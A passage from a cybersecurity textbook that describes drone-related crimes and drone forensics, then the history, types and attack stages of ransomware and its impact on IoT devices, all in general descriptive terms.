possible to erase, alter, or otherwise destroy private data. They can also access sites 
that are off-limits, like airports and military bases. Drones may be utilized for easy 
surveillance; however, if done by outside parties, this advantage might become a 
drawback with grave consequences.

Drone networks are subject to a number of security risks and problems. Intrusion 
detection systems (IDSs) have recently been put into use to identify malicious UAV/
drone activity as well as potential targets of suspicious assaults. An IDS typically 
keeps track of all network traffic, including inbound and outbound, and analyzes it to 
look for irregularities (Yaacoub et al. 2020). In order to safeguard communication 
between aircraft and the ground and to detect any anomalies, rule-based intrusion 
detection is typically used to identify false positives for injection attacks or any other 
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signal-targeted assaults. Unlike rule-based intrusion detection, which cannot identify 
unexpected attacks, signature-based intrusion detection is used to detect the GPS 
positioning of aircraft.

6.6.2 �C rime Related to Drones

Drones are no longer just a form of air travel. These days, they are sophisticated AI-
powered machines employed for many different tasks, such as taking pictures, deliv-
ering packages, sowing seeds, and dropping explosives. There is a lot of discussion 
about how drones are beneficial to society, but every good thing always has a nega-
tive counterpart. According to a Sky News investigation, there have been more than 
2,400 claims of drone-related mishaps in the UK alone in 2018. Traffic accidents, 
criminal damage, voyeurism, and stalking are just a few examples.

A few drone-related crimes are listed next:

	 1.	Stalking
Everywhere there are people, there are stalkers. Unfortunately, stalking has 
now expanded from the general public to the internet and drones. In one 
well-known case, an ex-husband used drones in addition to physical touch 
to track and harass a woman in western Sydney. She had a backyard barbe-
cue scheduled for New Year’s Eve as a lovely escape from her ex-harassing 
husband’s behavior, but things went south when she saw a drone hovering 
over her. She was very positive that her ex-husband was using the drone to 
spy on her, so she complained about it. This form of harassment can also 
lead to more dangerous activities in future as the minds of criminals are 
as smart as scientists’ so these types of incidents should be reported and 
immediate action needs to be taken to create a safe environment in this 
technological world.

	 2.	Voyeurism
Drones are often used by perverts to photograph and spy on individuals. 
When they noticed a drone hovering outside their home in 2017, a couple 
in Colorado was scared. The husband pursued the drone until he caught it 
in a church parking lot and reported it to the authorities. They learned that 
people, even those residing in high-rise buildings, were being filmed inside 
their homes by a drone. Its red light was taped to make sure it couldn’t be 
seen in the dark. The drone was owned by Aaron Foote and Terisha Norvel. 
After receiving the police’s Facebook message, they turned themselves in 
and were charged with voyeurism.

	 3.	Videotaping an ATM/Cash Machine
A drone was used to film an ATM/Cashpoint in Temple Patrick, Northern 
Ireland, and it captured people entering their pin codes as they were with-
drawing cash. It was noticed by a witness, who alerted the authorities. But 
by the time they stepped in, it had taken off and hit a taxi. The drone’s op-
erator was apprehended and had to make good on the cab’s losses. Although 
it was difficult to prove, it is nonetheless prohibited to photograph an ATM 
or cash machine.
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	 4.	Burglaries and Thefts
Drones are routinely used to scan areas and identify homes that could be 
targeted for theft or burglary. Recently in a case, while burglaries were oc-
curring, a drone was seen flying over a Cambridgeshire village for four 
days. In one instance, the criminals broke into the home through a bathroom 
window and committed robbery. There were concerns that the drones were 
being deployed to scope out the easiest access points and outhouses.

	 5.	Docks and Borders Drug Smuggling
The security at ports was reportedly monitored by Australian smugglers us-
ing drone-based live streaming in order to keep them apart from the rest 
of their crew. With the aid of the drones, they not only kept a watch on the 
security guards but also set off fire alarms and created other distractions 
to draw them away from their fellow smugglers. To avoid Border Patrol 
authorities and transport their contraband from one nation to another, drug 
traffickers now deploy drones all over the world.

	 6.	Interrupting Flights by Flying through Restricted Airspace
Nearly 250 drones were observed or photographed in 2018 alone as they 
flew across restricted airspace. At the UK’s Heathrow and Gatwick airports, 
dozens of drones were flown into the flight paths between 2016 and 2018. 
These situations not only cause delays for the jet but also present a risk to 
the safety of everyone on board because the drones could collide with the 
cockpit windows or get sucked into the engine.

In one incident, a pilot was operating his personal Cessna when he nar-
rowly avoided being struck by a drone. The drone would have killed ev-
eryone on the plane if it had crashed at such speeds. The majority of these 
offenses have not been investigated or prosecuted since it is unclear who is 
in charge of restricted airspace and who should file charges.

	 7.	Drone-Based Terrorism
ISIS, also known as the Islamic State Militant Group, bought hundreds of 
inexpensive drones and used them to harass and kill civilians in Syria and 
Iraq. Drone factories were abundant in Mosul when Iraqi forces liberated it 
from ISIS in 2017. These drones could drop bombs, but they could also be 
equipped with cameras to record images and films of the damage they were 
creating. Drones are now being used by other terrorist organizations like 
Ahrar-al-Sham and Jund-al-Aqsa to sabotage and kill their foes.

	 8.	Hacking
Drones are able to break into your Wi-Fi as well as take pictures and drop 
items while flying by your home. A hacking drone is a drone with an SBC 
(UDOO) on board that flies and scans the Wi-Fi signals for routers while 
attempting to crack their passwords.

A drone called the “Danger Drone” was created by David and Fran 
Latimer while they were employed with a security firm. It is equipped with 
a Raspberry Pi computer that has hacking software preloaded and can get 
unauthorized access to most Wi-Fi networks. Such gadgets are ideal for 
covert hacking and eavesdropping due to their vast ranges of 1 or 2 km and 
the ability to be modified to collect signals from cell towers.
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	 9.	Spying on Law Enforcement and the FBI
Targets recently utilized a swarm of drones to drive agents out of their hid-
ing and observation sites as an FBI captive rescue squad approached a target 
building in a US city. The agents were now more amenable to attack. The 
crooks also equipped these drones with cameras so they could watch and 
share the actions of the FBI agents with other members of their group while 
also live-streaming videos of the agents to YouTube. Drones have also been 
used to monitor law enforcement personnel, identify prospective witnesses 
in high-profile cases, and even spy on police operations.

6.7 � CONCLUSION

Unmanned aerial vehicles, or drones, have changed the digital landscape of supply 
chain logistics and monitoring, particularly in areas where such use had previously 
been thought to be impractical. A number of security- and forensics-related issues 
have been raised as a result of the development of different drone types and drone-
related crime after the widespread use of drones as a first step in comprehending 
the most recent findings in the study of these problems and potential solutions. In 
addition to its many advantageous applications, UAVs have been abused to initiate 
unlawful and occasionally criminal actions that directly endanger people, groups, 
the general public, and national security. Despite growing in significance, “drone 
forensics” is still a relatively unstudied area of study. However, a lot of attempts have 
fallen short due to a variety of factors, such as inadequate technological knowledge 
or other resource constraints. The anti-forensics community is also aware that anti-
forensics techniques pose a constant threat, obstruct investigations, and reduce the 
number of convictions. Due to their growing usage in digital crimes, drones’ broad 
use and quick growth provide a problem for law enforcement and other businesses.

6.8 � FUTURE ASPECTS

Researchers in this discipline are paying a lot of attention to drone forensics. A num-
ber of frameworks and methods have been created, offering a thorough understand-
ing of the drone application to forensic investigation. These methods look for any 
malicious behavior using the internal logs of devices and their controller. They are 
able to replicate the flight paths that analysts can employ for forensic investigations 
(Al-Dhaqm et al. 2021). Computer vision methods can be used for real-time detec-
tion using unmanned aircraft systems. In the case when the drone follows a non-
accelerated motion, the combination of software tools for object recognition such as 
“TensorFlow Item Detection” and the computation of the object’s position in space 
by computing the GPS coordinates based on the detection time. Future AI drone tech-
nology has a lot of potential because it will make operations easier and faster, which 
will aid forensic investigators in solving crimes as quickly as possible. Additionally, 
new machine learning and deep learning algorithms will help to overcome the cur-
rent limitations of drone use. Drones with artificial intelligence can survey the land, 
help soldiers, and even take off and land by themselves. Additionally, AI drones 
are used in containment and recovery efforts by emergency response teams, such 
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as firefighters battling forest fires. Deep learning neural networks enable drones to 
search through crowds in search of and recognize people of interest. It can even per-
form a real-time damage report and inspect large industrial equipment like telephone 
towers. It claims that instead of the normal hours or days required by the industry, 
its AI-powered software just needs 20 minutes to interpret the image of a person in 
order to search crowds for that person. For public safety professionals, there is drone 
software that can turn the unprocessed data gathered by drones into insights that are 
helpful to the police, fire, and other emergency services. With emerging technolo-
gies, we can expect drones to expand and their application for forensics to grow. 
Drones may help investigators find criminals through advanced scanning and detec-
tion techniques. We can safely assume that drones’ capability will grow in a very 
useful way, potentially leading to the safety of people in areas (“AI Drones: How AI 
Works in Drones & 13 Examples | Built In” 2023).
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7.1 � INTRODUCTION

British technology pioneer Kevin Ashton coined the term “Internet of Things (IoT)” 
in 1999, stating that IoT could revolutionize society. He defined the Internet of 
Things as a technology that connects the internet to the real world through ubiquitous 
sensors such as Radio-Frequency Identification (RFID). The concept sounded ridicu-
lous and unreasonable in those days, but anyone can attest to its legitimacy now. The 
IoT has revolutionized the world and aided various elements ranging from smart 
homes, smart health devices, and smart meters to smart cars [1]. Due to the enormous 
technological growth, new appliances and techniques are available on the market. 
Among them, IoT is considered one of the most important and growing technologies 
in the present world. Everyday advancements in IoT, such as the indirect connection 
between two individual smart devices, make it insecure and prone to attack [2]. For 
instance, a smart refrigerator can be a backdoor for a malicious hacker.

The advantages of IoT are virtually endless, and its applications are changing how 
people work and live by reducing costs and time spent while creating new possibili-
ties for expansion, innovation, and the exchange of knowledge across organizations. 
The consistent deployment of IoT devices has mitigated the rise in malware that 
targets those devices. Ransomware attacks are now seen to be the greatest significant 
danger to IoT from cyber-attacks.

7.2 � RANSOMWARE

Information access is restricted by malicious ransomware software, which demands 
payment in return for access. After being infected, ransomware locks the victim’s 
system files or complete machine until a ransom is paid. Ransomware may strike 
through social engineering, spam, phishing, advertising, downloads, and other tech-
niques [2]. In a ransomware attack, the attacker uses powerful encryption technology 
to encrypt the victim’s data before demanding a ransom exchange, often in Bitcoins, 
for the decryption key. These attacks may cause data loss that is either temporary or 
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permanent, interruption of regular system operations, and financial loss [3]. Most 
ransomware assaults use a Trojan horse or malware, a compelling piece of untrace-
able software that runs code blocks secretly and without the victim’s awareness. It 
enters the program by the victim unintentionally clicking on an email link or through 
another insecure network connection [1]. Attackers are working to make it chal-
lenging to implement and extend effective preventative measures since ransomware 
assaults are continually improving.

7.2.1 � Evolution of Ransomware

Early malware versions were used to extort money from people and companies in 
the 1980s when ransomware emerged. Ransomware has improved with time in its 
sophistication and ability to find victims. Here are some significant turning points in 
the development of ransomware:

1989: Joseph L. Popp developed the first known case of ransomware, “AIDS” 
or “PC Cyborg.” This ransomware became allotted on floppy disks and 
encrypted the victim’s documents, causing stressful charges for the decryp-
tion key [3]. However, ransomware attacks have been around since 1989; 
however, they did not become a primary hassle until 2005 when the internet 
and digital currencies became extra regular.

2005: A ransomware named “GPCoder” began to spread through an email; 
upon viewing the infected e-mail, the malware could infiltrate the victim’s 
computer, encrypting MS Office and media documents [3].

2006: A new type of Trojan called Cryzip emerged, which encrypts documents 
on an infected laptop and demands a price of US$300 in exchange for a 
decryption password. Cryzip uses a business zip library to compress and 
password-shield the victim’s documents and offers instructions on how to 
pay the ransom to retrieve the files [4]. In 2006, another notorious Trojan 
emerged, referred to as Trojan. Archives is a form of ransomware that 
often affects PC users. It spread through various strategies: questionable 
websites, unfastened software program downloads, and attachments in junk 
emails. Additionally, it evolved as the first RSA-encrypted malware. It was 
also outstanding for being the first ransomware that demanded a ransom in 
the shape of buying remedies from certain pharmacies [5].

2007: The Locker Ransomware that surfaced in 2007 mainly focused on 
Russian users. The malware locked the victim’s laptop and displayed a por-
nographic photo on display, demanding the price to free up the computer 
through textual content messages or through calling a high-price smart-
phone variety [3].

2008: A new variant of the GPCoder Trojan called GPCode.AK turned into a 
discovery. It used a 1024-bit RSA key to encrypt the information documents 
of the targets and demanded a ransom fee of US$100 to US$2 hundred in 
virtual gold forex via the Liberty Reserve approach [3].

2010: Winlock Ransomware showed at the scene; it was a Locker Ransomware 
attack. It blocked the I/O interface of the system by displaying a hazy image 
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on the victim’s handset and requested a US$10 premium SMS to acquire 
the decrypted code. The same year, ten people were imprisoned in Moscow 
due to their involvement in the Winlock incident. They had earned over 16 
million dollars through this SMS scheme [6].

2011 and 2012: The Reveton Ransomware attack was launched between 2011 
and 2012. The ransomware first infiltrates a computer and makes its presence. 
Access to the system by the user is blocked, and a message that purports to be 
from a law enforcement official is shown. Then, it induces dread by telling the 
user they have committed a crime, such as using pirated software or having 
child pornography on their computer. Additionally, it can take over the vic-
tims’ webcam, giving the impression that the police are recording them [7].

2013: Dirty Decrypt Ransomware is a member of the crypto-ransomware 
family. It encrypts eight types of victims’ files (including .pdf, .doc, and 
.jpeg) and demands payment. This ransomware is typically spread through 
browsing websites with pornographic material or using exploit kits. It uses 
JavaScript that is uploaded to pornographic websites that are dangerous. 
Once activated, it creates malicious files in various Windows directories [8].

2014: Torrent Locker and Cryptowall emerged as a part of the crypto-
ransomware family. They spread via spam emails or connections that are harm-
ful. The Torrent Locker or Cryptowall file is immediately downloaded and run 
when the user opens the email or clicks on the links. These attacks run the mali-
cious code using a “hollow process” technique. Once the attack is active, the 
user’s computer is locked, and a ransom message is displayed on the screen [3].

In the same year, that is, in December 2014, CTB-Locker, a variant of 
the TorrentLocker, emerged. Like its predecessor, it spreads through spam 
emails or malicious links. The name “CTB-Locker” stands for Curve-TOR-
Bitcoins and is derived from its key features: the use of elliptic curve-based 
cryptography (Curve), the use of the TOR network for its command-and-
control servers (TOR), and the use of Bitcoins as the ransom payment 
method (Bitcoins). This ransomware encrypts victims’ files and demands 
payment in Bitcoins to provide the decryption key [3].

2015: In 2015, many ransomware attacks emerged that targeted individuals 
and organizations. Through these attacks, criminals made approximately 
4.5 million dollars. One notable ransomware that emerged in early 2015 
is Cryptowall 3.0, designed to be challenging to detect. It is a cheap and 
easily spreadable virus that encrypts files, hides within, and then tries to 
include itself in the operating system’s starting folder. It occasionally tends 
to erase important files, making their restoration more difficult. The crypto-
ransomware family’s TelsaCrypt ransomware first surfaced in February 
2015. It targets a variety of files, including the victims’ gaming files. A 
US$500 ransom demand for unlocking the encrypted key increases to 
US$1,000 if not paid promptly. In the same year, Cryptowall 4.0, another 
variation of the ransomware, appeared. It is more difficult for victims to 
compare their data to backups since, unlike the previous version, it encrypts 
and changes the names of the victims’ files. Late in 2015, the ransomware 
known as Linux. Encoder appeared and was directed toward Linux-based 
webpages and Linux-based servers. It spreads by exploiting a weakness in 
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the open-source e-commerce platform Magento. Linux. The encoder locks 
the files. The file extension for the encoder is “. encrypted.” Once the vic-
tim’s data have been compromised, a Bitcoin ransom is sought. Unlike 
Cryptowall 3.0, this ransomware does not double the payment [3].

2016: 2016 was a year that saw a high number of ransomware attacks that 
impacted both individuals and small- and medium-sized enterprises. Two of 
the most notorious types of ransomware that emerged during that year were 
Locky and Mamba. Early in 2016, Locky Ransomware initially surfaced, 
and since then, it has succeeded through its broad attack vectors, covertness, 
and demanding high ransoms. Locky Ransomware is often spread through 
spam emails with macros embedded in Word documents. Mamba was par-
ticularly infamous for its attacks on the public transportation system of San 
Francisco in 2016 and on the corporate network of KSA (Kingdom of Saudi 
Arabia) in 2017 [9]. Mamba is considered particularly dangerous because it 
encodes the victim’s computer’s entire hard disk, including partitions, using 
the Diskcryptor. It is a utility and is only unlocked if the hacker has received 
the ransom. Early in 2016, the SimpleLocker Ransomware also emerged. 
It primarily targeted Android-powered devices, the most widely used at the 
time being cell phones and tablets. Initially, ransomware to exclusively tar-
get the Android operating system was SimpleLocker, which encrypted data 
and rendered them unavailable to its victims. Following its initial activa-
tion, SimpleLocker shows a ransom note and encrypts data using a different 
software thread in the background. The virus looks for files on the SD card 
that have the extensions “image,” “document,” or “video” and then encrypts 
those files using the AES encryption method [10]. In March 2016, Cerber, 
yet another ransomware, appeared. Cerber is one of the most recent vari-
ants of ransomware that may infect machines even while online, making it 
more difficult for victims to secure their machines by turning off their inter-
net connections. The victims received a message with an MS Word attach-
ment informing them about the Cerber assault. After the user downloads 
the attachment, Cerber encrypts the files and changes their extension to 
“.Cerber”. In May of the same year, Petya Ransomware was identified for 
the first time. This malware targets Windows-based computers by infecting 
the boot record, which prevents the machine from booting. It was dissemi-
nated via various strategies, including extensive spam operations and nefari-
ous adverts. Once Petya Ransomware has infected a victim’s computer, the 
attackers will demand US$300 in Bitcoins in exchange for the decryption 
key that will allow the victim to reaccess their encrypted data [11].

2017: In May 2017, WannaCry, also known as WannaCrypt Ransomware, 
caused a massive global incident. The malware targeted over 200,000 com-
puters in more than 150 countries and specifically targeted computers run-
ning Microsoft Windows. Users’ data were encrypted, and Bitcoin was used 
as the ransom for their release. At first, the attack was believed to spread 
through a phishing campaign, but it was later discovered that the malware 
utilized the EternalBlue exploit to propagate and spread. Additionally, the 
DoublePulsar backdoor was installed on compromised computers, allowing 
the execution of WannaCry [12].
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In June 2017, a highly destructive ransomware attack known as NotPetya 
emerged, becoming one of the major global security issues. This assault 
uses a variation of the Petya Ransomware attack that occurred in 2016. 
NotPetya, in contrast to Petya, modifies the infected system’s master boot 
record (MBR). By rebooting it, it encrypts the Master File Table (MFT), 
making the MBR inoperable. As a result, the user cannot access any files as 
the master boot record is required to locate files on the system [11].

In October 2017, BadRabbit, a type of ransomware that belongs to the 
Petya family, affected more than 200 organizations in Eastern Europe. The 
initial attack vector for Bad Rabbit compromised Russian media websites, 
where attackers uploaded fake Adobe Flash Player installers. When these 
files were downloaded and run by a user, it would trigger the Bad Rabbit 
Ransomware. Once executed, the malware scans attempting to obtain access 
using a prepared list of standard credentials for SMB shares. Additionally, it 
used the Eternal Ransome attack to get beyond SMB file-sharing protection 
on Windows PCs and run remote malware. Once it gained access, it would 
use the DiskCryptor, an open-source encryption application, to run full disk 
encryption [13].

2018: Ryuk Early ransomware detection occurred in the second half of 2018. 
When it infects a system, it begins by terminating 40 processes and 180 ser-
vices that might prevent it from functioning correctly or aiding the attack. 
After that, it moves on to the encryption process, which encrypts a variety 
of assets using the AES-256 algorithm, including images, videos, databases, 
and documents. Then, RSA-4096 asymmetric encryption is used to safe-
guard the symmetric encryption keys [14].

2019: The MITRE organization states that April 2019 saw the first detection 
of REvil Ransomware. It was sent to the Kaseya VSA server platform 
using a malicious update payload. There was a zero-day vulnerability in 
the Kaseya VSA server platform. Exploited by the REvil organization, the 
REvil attackers also take sensitive data before encrypting it. If the ransom is 
not paid, they have a history of publishing the victims’ information on the 
dark web as a form of public humiliation [15].

2020: Maze Ransomware was first diagnosed in 2019 but became extra active 
in 2020. This particular form of data on infected machines is encrypted by 
malware, which then requests a ransom for the key to decrypt the files. This 
ransomware is thought to have the potential to exfiltrate sensitive informa-
tion before encryption, and if the ransom isn’t paid, it threatens to launch 
the stolen statistics publicly. In addition, it’s recognized for its capability 
to propagate quickly and evade detection. Nefilim Ransomware is another 
malware that was first diagnosed in 2020. It is known for its potential to 
target extensive agency networks and has been located to encrypt entire 
servers, making it hard for businesses to get better records. The attackers 
behind Nefilim Ransomware are regarded to demand huge ransom bills and 
have been found to threaten to double the ransom if no longer paid within 
a selected time frame. Egregor Ransomware is a new version of Sekhmet 
Ransomware that emerged in 2020. It is thought to apply the identical 
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infrastructure and techniques as the Sekhmet Ransomware but uses a differ-
ent encryption set of rules. The attackers at the back of Egregor Ransomware 
are recognized to have high technical sophistication and were found to target 
big organizations. RansomEXX Ransomware is a brand new variant that 
surfaced in 2020, acknowledged for its particular information theft compo-
nent, where it steals data from infected structures before encrypting them. 
This stolen information is then dispatched to attacker-controlled servers and 
used as leverage to pressure sufferers to pay the ransom. Initially, it targeted 
the most effective Windows structures; however, in July 2020, a variant of 
RansomEXX concentrated on Linux structures was also determined. It is 
vital to note that RansomEXX can cause widespread financial losses and 
harm to organizations. It is crucial to put security measures into effect and 
keep software up to date to protect against this kind of danger [16].

2021: Blackcat is a more modern ransomware first recognized in March 
2021. It is sent through phishing emails and goals for small- and medium-
sized organizations. Conti is a ransomware that was first encountered 
in December 2020. It targets agency networks and has been utilized in 
attacks on healthcare, manufacturing, and financial services corporations. 
Lockbit2.0 is superior and complicated ransomware first identified in 
March 2021. It spreads through a ransomware-as-a-service (RaaS) archi-
tecture and is renowned for its dual extortion techniques. Its usage of the 
virus StealBit, which automates data exfiltration before encrypting the files, 
is one of its prominent strategies. The introduction of LockBit2.0 in ESXi 
servers increased its target operating system to include Linux hosts was due 
to the release of Linux-ESXI Locker 1.0 in October 2021, especially ESXi 
servers. This version can attack Linux hosts and may majorly affect the 
targeted businesses [17].

2022: LockBit 3.0 is a new type of LockBit Ransomware designed to evade 
detection by anti-malware software. The attackers primarily use phish-
ing tactics to target companies and disguise the malware in Word docu-
ments that are frequently exchanged and opened, such as Visual Basic for 
Application (VBA) macro or executable files with routine titles like resume.
exe. These documents are delivered through phishing emails in a way that is 
designed to trick recipients into opening them. Another vicious ransomware 
that surfaced in 2022 is Azov Ransomware. It destroys data in a way consis-
tent with its satanic theme; it erases 666 bytes at a time. Unlike traditional 
ransomware, it does not demand a ransom payment or provide any means of 
restoring the data. The attack appears to be purely malicious, and there are 
references to “ignoring Crimea” as a possible motive [18].

Today, ransomware has become one of the most potent cyber threats, impacting 
various industries and causing significant disruption and financial losses to organiza-
tions. The evolution of ransomware shows that attackers constantly seek new ways 
to evade detection and increase their effectiveness. Businesses must remain informed 
on the most recent ransomware developments and have robust security measures to 
guard against these dangers (Figure 7.1).
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FIGURE 7.1  Evolution of ransomware.
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7.2.2 � Classification of Ransomware

Attackers are working to make it hard to develop and practice effective preventative 
measures similar to ransomware attacks, which are improving continuously. There 
are three types of ransomware families. The flow chart of classification is shown in 
Figure 7.2.

	 i.	Crypto-Ransomware
One of the most vicious ransomware types is crypto, among the other ran-
somware families. It mainly encrypts the user’s data, files, and folders using 
a more robust encryption algorithm. It is hard to crack due to the more 
robust encryption algorithms. Crypto-ransomware uses public and private 
key relationships. It encrypts the data using the public key, and the pri-
vate key decrypts it. Typically, this ransomware doesn’t encrypt the victim’s 
entire hard drive. Instead, it just encrypts the crucial files depending on 
their file extensions. It enters the system through malware, spam emails, 
or internet links. Once turned on, it looks for essential files with attach-
ments and encrypts them to prevent user access. Once the targeted files have 
been encrypted, the attacker demands payment in Bitcoins as a ransom. The 
attacking mechanism is shown in Figure 7.3. Sometimes, even after paying 
the ransom, the attacker does not send the decryption key, and the data will 
be lost forever. Cryptowall, CryptLocker, TeslaCrypt, and Cerber are the 
most actively used crypto-ransomware [3] [19].

FIGURE 7.2  Classification of ransomware.
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FIGURE 7.3  Attacking model of crypto-ransomware.
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It’s crucial to remember that unlocking the data is not guaranteed by 
paying the ransom. Some attackers could grab the money without provid-
ing the decryption key, while others may provide a key that doesn’t work. 
Additionally, paying the ransom may encourage attackers to continue their 
activities or inspire others to engage in similar attacks.

The best defense against crypto-ransomware is regularly backing up 
important files and updating software to prevent infection. Organizations 
should also have a robust incident response policy in place in the case of a 
ransomware attack.

	 ii.	Locker Ransomware
Locker Ransomware, as the name indicates, locks the complete system of 
the target. It enters the system if the victim clicks an e-mail attachment or 
a web link. It locks the user’s device, and the person cannot log into the 
system. However, the information remains untouched. Once the malware is 
deployed on a victim’s computer, it encrypts files using robust rules, includ-
ing Rivest, Shamir, Adleman (RSA) or Advanced Encryption Standard 
(AES). The encryption is generally finished using a unique encryption key 
generated for each infected PC. This secret key is then dispatched to the 
attackers’ server, making it impossible to decrypt the documents without 
paying the ransom.

The victim cannot utilize the computer device until the ransom is paid. 
To strengthen the secrecy of the transactions, the attackers would often 
demand payment in a cryptocurrency like Bitcoin. The price is typically 
sent via a Tor-based website or to a particular Bitcoin address. In Figure 
7.4, the attacking mechanism is displayed. Typically, the attackers give the 
victim a window time to pay the ransom before threatening to erase the 
encrypted contents. The most prevalent locker ransomware is Windows 
Locker, LockerPin, and Locky [3] [19].

The best approach to guard against Locker Ransomware is to regularly 
back up important data, update your software to prevent infection, and 
have a robust incident response plan in case of an attempt by ransomware. 
Businesses should also train their staff members to spot phishing emails, 
strategies of social engineering, and the other risks of ransomware.

	 iii.	Hybrid Ransomware
As the name suggests, it combines crypto and locker ransomware mecha-
nisms. Hybrid ransomware includes both resources and data. It locks the 
user’s system, encrypts the targeted data, and exfiltrates sensitive data from 
the victim’s computer before or during the encryption process. Compared 
to the other two ransomware families, Hybrid ransomware is considered 
the most dangerous because it simultaneously compromises the system and 
data. The attacking mechanism is shown in Figure 7.5. Petya, CryptoLocker, 
and Dharma(CrySiS) are the most active hybrid ransomware [19] [20].

Regularly backing up essential data, keeping software updated to pre-
vent infection, and having a solid incident response plan are the best ways 
to protect against hybrid ransomware. Additionally, agencies should teach 
their employees how to distinguish between phishing emails, various 
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FIGURE 7.4  Attacking model of locker ransomware.
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FIGURE 7.5  Attacking model of hybrid ransomware.
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social engineering strategies, and the risks associated with ransomware. 
Multifactor authentication may detect and counter such attacks, along with 
the regular evaluation and monitoring of data access and movement within 
the network.

7.2.3 �W orking Mechanism of Ransomware

Ransomware is a kind of cyber-attack that could have a prime impact on organi-
zations, people, and government corporations. Comprehending how ransomware 
attacks work is crucial to shield yourself from them. This consists of understand-
ing the delivery strategies, the encryption method, and the communication with the 
attackers [21]. The sequence of a standard ransomware attack is extensively catego-
rized, as displayed in Figure 7.6.

	 i.	Initial Vectors: The ransomware is typically introduced to a victim’s lap-
top through a phishing e-mail, which may incorporate a malicious attach-
ment or a hyperlink to a compromised internet site, the way to download 
the malware instinctively. The ransomware can also spread through exploit 
kits that take advantage of vulnerabilities in software, such as outdated ver-
sions of Adobe Flash or Java. In addition to phishing, attackers may gain 
initial access to a system through RDP brute-forcing or by using credentials 

FIGURE 7.6  Working mechanism of ransomware.
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obtained through previous data breaches. They may also reuse legitimate 
credentials from previous data dumps [21] [22].

	 ii.	Infection: The ransomware arrives on the user’s computer and begins its 
malicious activities, including installing itself to run at start-up to survive 
reboots, injecting itself into processes, disabling recovery options, shutting 
down security services, and more [21].

	 iii.	Communication: After being run, the malicious software will get a footing 
by establishing connection with the command-and-control (C2) server and 
obtain the required encryption key to encrypt data [21] [22].

	 iv.	Lateral Movement: Once an attacker has breached a system, they typically 
aim to broaden their access and solidify their presence by obtaining valu-
able information or systems. This process is known as lateral movement. 
The initial step in lateral movement is to conduct a reconnaissance of the 
internal network to understand its structure and the attacker’s location. To 
ensure persistence and maintain access, the attacker will often attempt to 
compromise additional systems and elevate their privileges, ultimately lead-
ing to control of their targeted objective, such as a domain controller, key 
system, or sensitive information [22].

	 v.	Data Exfiltration: Ransomware attackers often steal data before encrypting 
it. The purpose of this is to threaten to publicly release sensitive information 
for organizations that may be able to recover without paying the ransom. 
Many ransomware attackers focus on stealing regulated data to increase the 
impact of any potential public release [22].

	 vi.	Encryption: The ransomware systematically searches for valuable files 
on the system, such as extensions like .jpg, .docx, .xlsx, .pptx, and .pdf. 
It encrypts these files by moving and renaming them. The ransomware 
encrypts utilizing a robust encryption method, such as RSA or AES. The 
encryption is typically performed using a unique encryption key generated 
for each infected computer [21].

	 vii.	Demands Ransom: The ransomware will pop up a message on the victim’s 
computer after encrypting the data, often including a demanded ransom. 
Ransom is typically demanded in a cryptocurrency like Bitcoin to improve 
the attackers’ anonymity [21].

7.3 � INTERNET OF THINGS

An interconnected system of smart gadgets, sensors, and embedded machinery known 
as the “Internet of Things” (IoT) is used to store, analyze, and communicate different 
data types. An integrated sensor network, the IoT, enables autonomous data collec-
tion and transmission without human intervention. IoT device sensors interact with 
internal and exterior environmental factors to make decisions independently. The 
IoT era is the start of the digital age, which has significantly improved almost every 
facet of our life. “Internet of Things” and its applications impact most of life’s infra-
structure, including food and health products, smart cities, and urban management. 
Examples of internet-connected devices include fitness applications, healthcare, 
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centralized control, and home automation (smart homes), with the viability factor of 
cloud services and big data. In addition to managing an enormous amount of data, 
today’s IoT devices are also capable of artificial intelligence-powered computation 
[23]. IoT provides advantages but is also vulnerable to threats such as ransomware 
attacks, which are on the increase.

7.4 � RANSOMWARE AND IoT

In the year 2016, ransomware is identified as the most threatening attack on IoT 
devices [1]. The possible risks are on the rise with the expansion of IoT devices 
in households, companies, and public infrastructure for ransomware to target these 
devices and disrupt critical functions. Jackware, or ransomware that targets IoT 
devices, is a variant of traditional ransomware targeting IoT devices [24]. As IoT 
devices become more prevalent and integrated into our daily lives, the threat of jack-
ware is increasing. A ransomware attack on an IoT device must be carefully targeted 
to succeed, which requires additional work on the attacker’s part. As a result, rather 
than conducting a wide-ranging and massive malware campaign, hackers will more 
often choose to target high-value systems in sophisticated ways. Generally, ransom-
ware encrypts the files and sensitive data on a compromised system and requests 
a payment to unlock the data or files that have been encrypted. The victim must 
pay the attacker’s requested sum in Bitcoin to decrypt the data. Whereas with IoT 
Ransomware incidents, the attacker targets the whole network of physical devices 
within the organization since the possibility of simply infecting all the paired devices 
installed by an entity exists.

An attacker may initiate an attack immediately and demand the user to pay the 
ransom from the same workstation if a computer system is infected with ransom-
ware. IoT hardware lacks user interfaces. Therefore, a ransomware attack on one IoT 
device may be launched using several systems. Ransomware attacks target IoT 
devices in particular because they manage critical real-time data. IoT devices include 
anything from cutting-edge industrial equipment to sophisticated automobile sys-
tems. For instance, the attacker may exploit pacemakers or insulin pumps, two of the 
most closely watched smart health gadgets [19].

The integration of ransomware with IoT gadgets, or RoT, should have serious 
outcomes, as initially this allows attackers to disrupt crucial functions, water and 
electricity structures, or even strive for bodily damage.

7.4.1 �I mpact of Ransomware on IoT Devices

The effect of ransomware on IoT devices may be substantial, as these gadgets are 
often linked to critical infrastructure and might cause disruptions if compromised. 
Here are some approaches in which ransomware can affect IoT gadgets:

Disruption of Services: IoT devices are frequently used to manipulate and 
monitor vital infrastructure, power stations, water treatment centers, and 
transportation systems. If these gadgets are infected with ransomware, it 
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can cause disruptions to the solutions they provide. For instance, a ran-
somware attack on an IoT-enabled power station might lead to power out-
ages, and a ransomware outbreak on an IoT-enabled water treatment facility 
could cause water shortages.

Loss of Data: IoT gadgets regularly gather and transmit large quantities of 
information, which include sensor readings, control instructions, and telem-
etry records. If an IoT tool is infected with ransomware, the attackers may 
encrypt these records, making them inaccessible to the device’s proprietors. 
This can result in data corruption and create issues for agencies that rely on 
this information for decision-making.

Physical Damage: IoT devices that control biological systems, which include 
industrial control systems (ICS), also can be impacted by ransomware. If an 
attacker obtains control of an ICS, they may use it to cause physical damage 
to the machine. For instance, a ransomware attack on an IoT-enabled pro-
duction facility might cause machinery to malfunction, resulting in costly 
maintenance and manufacturing downtime.

Reputation Harm: The attack can cause a company to lose trust and cause 
reputation damage. The public can also view the company as negligent with 
its security, which may lead to loss of customers and sales.

Difficulty in Recovery: IoT gadgets pose a considerable challenge to get over 
a ransomware attack due to their complexity and the need for more secu-
rity information among IoT device manufacturers. Businesses need help to 
restore normal operations after an attack. Prevention is the key to mitigating 
those impacts, and agencies must adopt reasonable security practices for their 
